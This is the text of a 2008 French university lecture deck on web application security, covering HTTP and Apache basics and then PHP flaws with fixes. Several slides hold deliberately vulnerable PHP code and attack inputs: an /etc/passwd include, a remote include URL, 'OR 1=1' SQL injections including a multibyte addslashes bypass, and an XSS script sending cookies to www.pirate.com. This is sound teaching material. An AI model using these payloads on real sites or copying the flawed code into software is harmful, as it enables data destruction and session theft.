Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des...

40
Logo Contexte Les serveurs web Les attaques web La s´ ecurisation d’applications Fabrice Prigent Universit´ e Toulouse 1 Sciences Sociales 10 mars 2008 Fabrice Prigent La s´ ecurisation d’applications

Transcript of Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des...

Page 1: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

La securisation d’applications

Fabrice Prigent

Universite Toulouse 1 Sciences Sociales

10 mars 2008

Fabrice Prigent La securisation d’applications

Page 2: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les firewalls ne suffisent plus

Mais ont-ils jamais ete suffisants ?La protection a 100% n’existe pas. De plus certains protocolesdoivent absolument passer :

Le web (HTTP et HTTPS)

Le courrier electronique (SMTP, POP3, IMAP)

Les protocoles reseaux (DNS, ICMP, etc.)

Fabrice Prigent La securisation d’applications

Page 3: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Probleme generique des failles

Les failles sont dues a l’utilisation imprevue d’une variable pourobtenir un comportement inattendu, mais controle, plus ou moinscorrectement, par le pirate.Contrairement a ce que montre le cinema, les intrusions sont duesa plus de 90% a l’utilisation de failles de securite, et non a unprobleme de mot de passe.Les serveurs web etant souvent les seuls points accessibles, voyonscomment cela peut se passer.

Fabrice Prigent La securisation d’applications

Page 4: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

HTTPHTMLApache

Fonctionnement d’un serveur web

Un serveur web c’est 2 choses

Un procotole de communication : le HTTP

Hyper Text Tranfert ProtocolActuellement en version 1.1

Un langage de description de page : le HTML

Hyper Text Markup LanguageActuellement en version 4.0.1

Fabrice Prigent La securisation d’applications

Page 5: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

HTTPHTMLApache

HTTP

Il s’agit d’un protocole connecte, base sur TCP, qui utilisehabituellement le port 80Il existe une version chiffree (HTTPS) qui utilise le protocole SSL.Elle tourne sur le port 443.Ce protocole definit la maniere de communiquer des pages

des ordres donnes par le client (GET, POST, HEAD,PROPFIND, etc.)

et ensuite recupere le resultat, precede d’un etat (200, 404,500 etc.)

Fabrice Prigent La securisation d’applications

Page 6: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

HTTPHTMLApache

HTTP

Coupe la connexion, des que le fichier est transfere(contrairement au ftp par exemple)

Chaque nouveau fichier implique une nouvelle connexion

Depuis la version 1.1, le serveur peut maintenir la liaison(keepalive) pour une duree determinee.

Fabrice Prigent La securisation d’applications

Page 7: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

HTTPHTMLApache

HTML

HTML est un derive de SGML

Utilise des balise de definition

Permet de decrire des pages web statiques.

CGI (Common Gateway Interface) permet de creerdynamiquement des pages

Fabrice Prigent La securisation d’applications

Page 8: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

HTTPHTMLApache

HTML : exemple de CGI

Voici un exemple en shell d’un programme CGI

# !/bin/shecho ”Content-type : text/html”echoecho ”<HTML>”echo ”<BODY>”echo ”<H1>Titre 1</H1>”echo ”test de cgi”echo ”</BODY>”echo ”</HTML>”

Fabrice Prigent La securisation d’applications

Page 9: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

HTTPHTMLApache

HTML : de nombreux langages

Tous les langages peuvent etre utilises pour creer des CGI.Mais certains sont plus adaptes que d’autres :Pour accelerer les traitements (le lancement d’un interpreteur achaque appel) certains langages sont presents sous forme demodules directement integres dans apache :

PHP (dedie au web)

ASP (uniquement pour Windows)

Perl (langage systeme qui se revele tres efficace)

Python

Ruby (et particulierement Ruby on rails, avec ses capacitesweb 2.0)

Fabrice Prigent La securisation d’applications

Page 10: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

HTTPHTMLApache

Apache : historique

Il est derive du serveur NCSA, a l’aide de patches d’ou son nom ”apatchy server”.Il represente entre 60 et 70 % des serveurs web dans le monde.3 versions coexistent

la 1.3 : historique

la 2.0 : plus efficace

la 2.2 : avec une separation des authentifications et desautorisations.

Fabrice Prigent La securisation d’applications

Page 11: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

HTTPHTMLApache

Apache : environnement

Du fait de sa popularite, de tres nombreux modules ont etedeveloppes pour lui :

en authentification

en securite (mod ssl, mod security)

en fonctionnalite (mod proxy, mod cband, etc.)

Il beneficie aussi de tres nombreux langages en modules

PHP est le plus connu

mais aussi mod perl, mod python, etc.

Fabrice Prigent La securisation d’applications

Page 12: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

Structure d’un service web

Fabrice Prigent La securisation d’applications

Page 13: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

19 points de vulnerabilites

Du schema precedent, on peut trouver 19 points de vulnerabilites :

Les logiciels

Les serveursLes scriptsLes modules

Les OS

Les materiels

Les communications

L’utilisateur

Les protocoles

Fabrice Prigent La securisation d’applications

Page 14: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

Les types de parametres

Variables GET. Elles sont donnees dans l’URL de demande

Variables POST. Fournies par un formulaire.

Variables Cookies. Variables conservees par le navigateur surson disque dur et generalement fournies par le serveur.

Variables SERVER (HTTP USER AGENT ouHTTP REFERER)

Fabrice Prigent La securisation d’applications

Page 15: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

Les variables GET

Decrites dans l’URL

http ://www.google.com/search ?p=html&hl=fr

Ici 2 variables p et hl, avec les valeurs html et fr.

Generalement provenant d’une interrogation directe

Dans le cas present, plutot rare, il s’agit d’envoi par formulaire(method=GET)

Fabrice Prigent La securisation d’applications

Page 16: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

Les variables POST

Remplies par un formulaire

Utilisees quand on a un grand volume de donnees a envoyer

Utilisees quand on a un grand nombre de variables

Non tracees par les journaux des daemons (hormis modulesspecifiques)

Traitement particulier des variables Hidden qui sont cacheespour l’utilisateur, mais pas pour le navigateur.

Fabrice Prigent La securisation d’applications

Page 17: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

Les variables cookies

Notion de valise de variables stockees sur le client

Transmises de maniere transparente dans la requete

C’est le serveur qui est sense positionner ces variables pourune duree limitee

Un serveur ne peut generalement (sauf faille de securite)demander a acceder qu’aux variables :

Qu’il a lui-meme positionneesQu’une machine de son domaine a positionnees (et si celle-cil’a autorise)Qu’une machine d’un domaine de confiance a positionnees (sicelle-ci l’a autorise)

Fabrice Prigent La securisation d’applications

Page 18: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

Les variables SERVER

Ces variables sont heteroclites.

Celles que seul le serveur connait

Version du serveurRepertoire de travail

Celles qui sont associees a la connexion

L’adresse du client REMOTE ADDRL’hote appeleLe port source

Celles qui proviennent du client

Le Referer : HTTP REFERERLe USER AGENTL’URL appelee

Fabrice Prigent La securisation d’applications

Page 19: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : principe fondamental

Ces variables proviennent quasiment toutes du client

Il a donc tout pouvoir pour les modifier, effacer

Les controles Javascript sont executes par le client ( s’il lesouhaite ! ).

Fabrice Prigent La securisation d’applications

Page 20: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Quelques exemples

Variables sur les noms de fichier (ou les repertoires)

Variables dites superglobales

Variables d’execution systeme

Variables dans les requetes SQL (ou LDAP, etc.)

Variables pour du XSS

Fabrice Prigent La securisation d’applications

Page 21: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Sur les noms de fichiers

Exemple d’inclusion.

Soit le programme de mise en page suivant

< ?include (”header.inc”) ;$page=$ GET[’page’] ;include ($page) ;include (”footer.inc”) ;?>

Que l’on utilise de la maniere suivante

Utilisation

http ://192.168.30.72/php/mep.php ?page=toto.txt

Fabrice Prigent La securisation d’applications

Page 22: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Sur les noms de fichiers

Quelques attaques :

Exemples simples d’utilisation malveillantes

http ://192.168.30.72/php/mep.php ?page=/etc/passwdhttp ://192.168.30.72/php/mep.php ?page=http ://cri.univ-tlse1.fr/creufop/hacker.inc

On pourrait de la meme maniere utiliser les fonctions fopen,require, etc.

Fabrice Prigent La securisation d’applications

Page 23: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV :Solution

Enlever les caracteres dangereux

< ?If (eregi(”/”,$page){die(”Va jouer dans le mixer !”)}include (”header.inc”) ;include ($page) ;include (”footer.inc”) ;?>

On peut aussi utiliser

La notion de safe-mode :http ://fr2.php.net/features.safe-modeEmpecher l’utilisateur apache de sortir (avec un firewall ensortie)

Fabrice Prigent La securisation d’applications

Page 24: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV :Les variables superglobales

Code s’appelant avec un login en parametre

< ?if (($login == ”toto”) ||( $login == ”anon”)){$acces=true ;}if ($acces){echo ”vous avez acces a la page”;}else{echo ”vous n’avez pas acces a la page”;}?>

Que fait-on pour avoir acces a la page si on ne connaıt pas leslogin toto et anon ?

Fabrice Prigent La securisation d’applications

Page 25: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV :Les variables superglobales : solution

Il ne faut pas autoriser la creation de ces variables, si cela estpossible (certaines vieilles applications le necessitent.

Dans le fichier /etc/httpd/conf/httpd.conf

register global=off

Dans les applications

$login=$ get[’login’] ;$login=$ post[’login’] ;$login=$ cookie[’login’] ;$login=$ server[’login’] ;

Fabrice Prigent La securisation d’applications

Page 26: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les injections SQL (ou LDAP)

Le SQL est un langage d’interrogation de base de donnees. C’estun veritable langage de programmation, avec ses fonctions, sesvariables, ses commentaires.Le principe des appels SQL en WWW, est que le langage (PHP parexemple) cree une chaine de caracteres (la commande SQL) qui estensuite envoyee au SGBD.Le SGBD interprete et execute le programme envoye.

Fabrice Prigent La securisation d’applications

Page 27: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les injections SQL (ou LDAP)

Petit programme appele avec en parametre id

http ://192.168.30.72/php/test.sql ?id=3

Code du programme

< ?$sql query=”DELETE FROM matable WHERE id=$id”;mysql connect($database) ;mysql query($database,$sql query) ;?>

Fabrice Prigent La securisation d’applications

Page 28: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les injections SQL premiere attaque

Les espaces doivent etre remplaces par %20

http ://192.168.30.72/php/test.sql ?id=3 OR 1=1

ce qui nous donne

Chaine envoyee au SGBD

DELETE FROM matable WHERE id=3 OR 1=1

Le resultat est la destruction de tous les enregistrements.

Fabrice Prigent La securisation d’applications

Page 29: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les injections SQL premiere solution

La premiere solution peut consister a modifier le programme enajoutant des quotes

Code du programme

$sql query=”DELETE FROM matable WHERE id=’$id’”;

Le resultat de la premiere attaque devient alors

Code du programme

DELETE FROM matable WHERE id=’3 OR 1=1’

qui est sans danger.Mais pourtant une faille existe encore

Fabrice Prigent La securisation d’applications

Page 30: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les injections SQL deuxieme attaque

Inserons une quote

http ://192.168.30.72/php/test.sql ?id=3’ OR 1=1

ce qui nous donne

Chaine envoyee au SGBD

DELETE FROM matable WHERE id=’3’ OR 1=1’

Le resultat est encore la destruction de tous les enregistrements.

Fabrice Prigent La securisation d’applications

Page 31: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les injections SQL deuxieme solution

La solution va passer par 2 possibilites

le magic quotes gpc a on (par defaut depuis la 4.2.0 pourPHP, mais il est desactive dans PHP5, et disparait en PHP6)la fonction addslashes

Code du programme

$id=add slashes($id) ;$sql query=”DELETE FROM matable WHERE id=’$id’”;

L’attaque precedente donne alors

Chaine envoyee au SGBD

DELETE FROM matable WHERE id=’3\’ OR 1=1’

Qui ne fait plus rien. Mais ce n’est toujours pas fini. Une failleexiste malgre cela.

Fabrice Prigent La securisation d’applications

Page 32: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les injections SQL troisieme attaque

Le but de magic quotes gpc est a ON. Mais il a des problemesavec les caracteres dits ”multibytes” : c’est a dire les alphabets pluscomplexes (chinois par exemple)A la place de la quote, placons le caractere multibyte ’0xbf27’.Cela ne peut reellement se faire que par un script :

Parlons chinois

$id=chr(0xbf).chr(0x27).”OR 1=1”;fopen(http ://192.168.30.72/php/test.sql ?id=$id)”;

Fabrice Prigent La securisation d’applications

Page 33: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les injections SQL troisieme attaque

Le PHP recoit un caractere chinois 0xbf27 (d’ailleurs valide),et le comprend comme tel.

Il l’envoie a addslashes (ou a magic quotes gpc, ce qui estidentique)

Celui-ci ne comprenant pas que c’est un caractere multibytes,croit voir 2 caracteres : 0xbf et 0x27 qui est une quote. Ilajoute a 0x27 un antislash (0x5c).

La chaine renvoyee a PHP est donc 0xbf5c27.

Comme PHP comprend le multibyte, et que 0xbf5c est uncaractere valide, il nous reste 0x27 qui est... la quote.

Fabrice Prigent La securisation d’applications

Page 34: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les injections SQL troisieme attaque

On obtient alors la chaine suivante ou ? represente le caractere0xbf5c :

Chaine envoyee au SGBD

DELETE FROM matable WHERE id=’3 ?’ OR 1=1’

Le resultat est encore la destruction de tous les enregistrements.Solution : mysql real escape string().

Fabrice Prigent La securisation d’applications

Page 35: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Les variables de session

Les variables de session permettent de mettre les variableshabituellement mises en cookies, uniquement sur le serveur

Cela evite de trimballer beaucoup d’information

On n’a plus a les controler a chaque fois (elles ne sont plusmodifiables)

Seule reste une variable dans le cookie : celle qui contient lenumero de session. En general, cette variable est equivalente a unidentifiant (on ne reauthentifie plus la personne).Pour un pirate, c’est LE cookie a obtenir.

Fabrice Prigent La securisation d’applications

Page 36: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Voler un cookie : Attaque

Soit un forum avec une zone de texte quelconque.

Si on saisit

Salut les potes, le cours est genial, le prof est <B>super</B>.Reviendez....

On obtient donc

Salut les potes, le cours est genial, le prof est super.Reviendez....

Fabrice Prigent La securisation d’applications

Page 37: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Voler un cookie : Probleme

Et si on saisit ?

<script>while (1)alert(”Vas teter la prise electrique”) ;</script>

Fabrice Prigent La securisation d’applications

Page 38: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Voler un cookie : Probleme

Soyons plus mechant :

Recuperons le cookie

<script>cookie=document.cookie() ;i=new image() ;i.src=”http ://www.pirate.com/ ?id=”+cookie ;</script>

Fabrice Prigent La securisation d’applications

Page 39: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Voler un cookie : Solution

Bloquer la chaine ”<script”dans les messages.

Fabrice Prigent La securisation d’applications

Page 40: Contexte Les attaques web - DSI > Réservé · 2008-03-10 · Il repr´esente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus

Logo

ContexteLes serveurs webLes attaques web

Les variables webMauvaise utilisation de variablesLes noms de fichiersLes variables superglobalesSQL InjectionLes attaques XSS

MUV : Voler un cookie : Vraiment la solution ?

Comment s’ecrit script ? ? ? ?

”<script”

”<javascript”

”<JAVAscript”

”<java script”

”<javascript”

etc.

Fabrice Prigent La securisation d’applications